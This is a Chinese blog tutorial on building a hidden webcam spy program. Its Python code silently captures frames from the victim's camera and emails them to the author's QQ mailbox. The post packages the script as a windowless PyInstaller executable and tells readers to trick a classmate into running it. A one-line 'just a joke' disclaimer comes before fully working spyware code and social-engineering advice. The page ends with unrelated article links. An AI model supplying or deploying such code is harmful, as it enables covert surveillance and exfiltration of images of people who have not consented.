用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)


Posted in Python onMay 17, 2020

前言:

如何悄悄的打开朋友的摄像头,看看她最近过的怎么样,嘿嘿!这次让我带你们来实现这个功能。

注: 这个程序仅限在朋友之间开玩笑,别去搞什么违法的事情哦。

代码

发送邮件

使用python内置的email模块即可完成。导入相应的代码封装为一个send函数,顺便导入需要导入的包
注: 下面的代码有三处要修改的地方,两处写的qq邮箱地址,还有一处写的qq邮箱授权码,不知道qq邮箱授权码的可以去百度一下

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os

def send(img):
  sender = '写你的qq邮箱地址'
  receivers = '写你的qq邮箱地址'
  message = MIMEMultipart('related')
  subject = '终于能发图片了'
  message['Subject'] = subject
  message['From'] = sender
  message['To'] = receivers
  content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
  message.attach(content)
  file = open(img, "rb")
  img_data = file.read()
  file.close()
  img = MIMEImage(img_data)
  img.add_header('Content-ID', 'imageid')
  message.attach(img)

  try:
    server = smtplib.SMTP_SSL("smtp.qq.com", 465)
    server.login(sender, '写授权码')
    server.sendmail(sender, receivers, message.as_string())
    server.quit()
  except smtplib.SMTPException as e:
    print(e)

打开摄像头并发送图片

我们使用opencv打开笔记本内置的摄像头,不多说上代码

cap = cv2.VideoCapture(0)
for item in range(10):
  cat, frame = cap.read()
  cv2.imwrite('1.png', frame)
  send('1.png')
  os.remove('1.png')

使用pyinstaller将程序打包

好不容易写好了代码,结果同学那里没有运行环境岂不是很沮丧。那我们就嘿嘿嘿。 把它直接搞成一个exe文件,照片还不是手到擒来。

我们使用pyinstaller来打包,没有下载的可以先pip安装

pip install pyinstaller -i https://pypi.douban.com/simple --user

之后我们打开cmd,cd到你的代码所在的文件,输入一下指令。

Pyinstaller -F -w setup.py

注: setup.py 是你的文件名。

然后等一会,等运行完了之后你就会发现在你的代码所在的文件夹里多了一个dist的文件夹,exe文件就在那里。

下面就是最关键的一步了!

忽悠同学

找个同学忽悠她一下

用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)

到此这篇关于用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)的文章就介绍到这了,更多相关Python打开摄像头并保存内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木! 

Python 相关文章推荐
简单介绍Python中的round()方法
May 15 Python
Python 类与元类的深度挖掘 II【经验】
May 06 Python
Python优先队列实现方法示例
Sep 21 Python
python抓取京东小米8手机配置信息
Nov 13 Python
PyCharm在新窗口打开项目的方法
Jan 17 Python
python中正则表达式与模式匹配
May 07 Python
Python 一键制作微信好友图片墙的方法
May 16 Python
python celery分布式任务队列的使用详解
Jul 08 Python
正则给header的冒号两边参数添加单引号(Python请求用)
Aug 09 Python
python分布式计算dispy的使用详解
Dec 22 Python
python中urllib.request和requests的使用及区别详解
May 05 Python
Python爬虫之爬取二手房信息
Apr 27 Python
Python键鼠操作自动化库PyAutoGUI简介(小结)
May 17 #Python
python 实现PIL模块在图片画线写字
May 16 #Python
在python image 中实现安装中文字体
May 16 #Python
Python 判断时间是否在时间区间内的实例
May 16 #Python
解决Python Matplotlib绘图数据点位置错乱问题
May 16 #Python
Python填充任意颜色,不同算法时间差异分析说明
May 16 #Python
解决echarts中饼图标签重叠的问题
May 16 #Python
You might like
php计算十二星座的函数代码
2012/08/21 PHP
php正则去除网页中所有的html,js,css,注释的实现方法
2016/11/03 PHP
ThinkPHP中类的构造函数_construct()与_initialize()的区别详解
2017/03/13 PHP
php格式文件打开的四种方法
2018/02/24 PHP
给文字加上着重号的JS代码
2013/11/12 Javascript
javascript获取URL参数与参数值的示例代码
2013/12/20 Javascript
jQuery功能函数详解
2015/02/01 Javascript
jquery中attr和prop的区别分析
2015/03/16 Javascript
纯js实现倒计时功能
2017/01/06 Javascript
微信小程序模板(template)使用详解
2018/01/31 Javascript
angularjs的单选框+ng-repeat的实现方法
2018/09/12 Javascript
微信小程序实现一张或多张图片上传(云开发)
2019/09/25 Javascript
vue实现计步器功能
2019/11/01 Javascript
Vue的双向数据绑定实现原理解析
2020/02/17 Javascript
[04:39]显微镜下的DOTA2第十三期—Pis卡尔个人秀
2014/04/04 DOTA
[05:17]DOTA2誓师:今天我们在这里 明天TI4等我!
2014/03/26 DOTA
[01:01:29]2018DOTA2亚洲邀请赛 4.4 淘汰赛 VP vs Liquid 第一场
2018/04/05 DOTA
[43:36]Liquid vs Mineski 2018国际邀请赛小组赛BO2 第一场 8.18
2018/08/19 DOTA
使用Python的判断语句模拟三目运算
2015/04/24 Python
Python socket编程实例详解
2015/05/27 Python
Python字符串拼接的几种方法整理
2017/08/02 Python
使用python实现BLAST
2018/02/12 Python
Python实现时钟显示效果思路详解
2018/04/11 Python
Django中modelform组件实例用法总结
2020/02/10 Python
CSS3制作漂亮的照片墙的实现代码
2016/06/08 HTML / CSS
iHerb香港:维生素、补充剂和天然保健品
2017/08/01 全球购物
澳大利亚制造的羊皮靴:Original UGG Boots
2017/11/13 全球购物
Ralph Lauren意大利官方网站:时尚界最负盛名的品牌之一
2018/10/18 全球购物
JAVA程序设计笔试题面试题一套
2015/07/28 面试题
自动化专业个人求职信范文
2013/12/30 职场文书
《池塘边的叫声》教学反思
2014/04/12 职场文书
销售团队口号大全
2014/06/06 职场文书
行政管理专业求职信
2014/07/06 职场文书
2014年幼儿园老师工作总结
2014/12/05 职场文书
2016年“世界气象日”广播稿
2015/12/17 职场文书
死磕 java同步系列之synchronized解析
2021/06/28 Java/Android